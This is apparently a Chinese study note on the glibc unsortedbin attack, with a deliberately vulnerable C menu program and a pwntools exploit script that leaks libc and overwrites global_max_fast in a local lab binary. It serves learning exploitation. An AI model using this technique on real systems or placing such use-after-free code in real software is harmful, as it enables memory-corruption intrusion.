【我的 PWN 学习手札】Unsortedbin Attack
前言
Unsortedbin Attack不能说是一种getshell的方式,而只能说是一种利用手法。在glibc2.28之前有效,条件是存在uaf,效果是能在某一地址写一个大数(glibc上的一个地址)。
一、Unsortedbin的unlink过程
unsortedbin 中 free chunk 的组织形式是双向链表,取出chunk时,有如下代码:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
实现的操作是将 unsortedbin 中的最后一个chunk取出。main arena的对应 bk 就要只想 victim 的bck,同样,bck 的 fd 也要指向 main arena。
二、Unsortedbin Attack
如果我们利用 UAF 或者任意地址写,将 unsortedbin 将被 unlink 的 victim 的 bk 改为其他地址如target,那么会发生什么呢?
当进行上述操作时:
换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。通常可以利用此方法向 global_max_fast 写入一个较大的值,从而扩大 fastbin 范围,甚至 fastbins 数组溢 出造成任意地址写。
三、保护与检查
(1)size检查
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
这个检查是对脱链的 free chunk(即 victim)检查的,本来就是 unsortedbin 链上的一块正常的chunk,因此天然来说是无误的。
(2)target可写
因为要往target写数值,所以这个条件也是必要的,因为如果该地址本来就不能写数值,又何来覆写一说?
总上来说,条件很好满足。然而在glibc2.28及以后,对 bck 的 fd 指针进行了检查,所以此方法基本失效。
四、测试与模板
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
gdb.attach(io)
# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))
# Unsortedbin Attack
edit(0,0x10,p64(0)+p64(libc_base+libc.sym['global_max_fast']-0x10))
pause()
add(2,0x100)
pause()
io.interactive()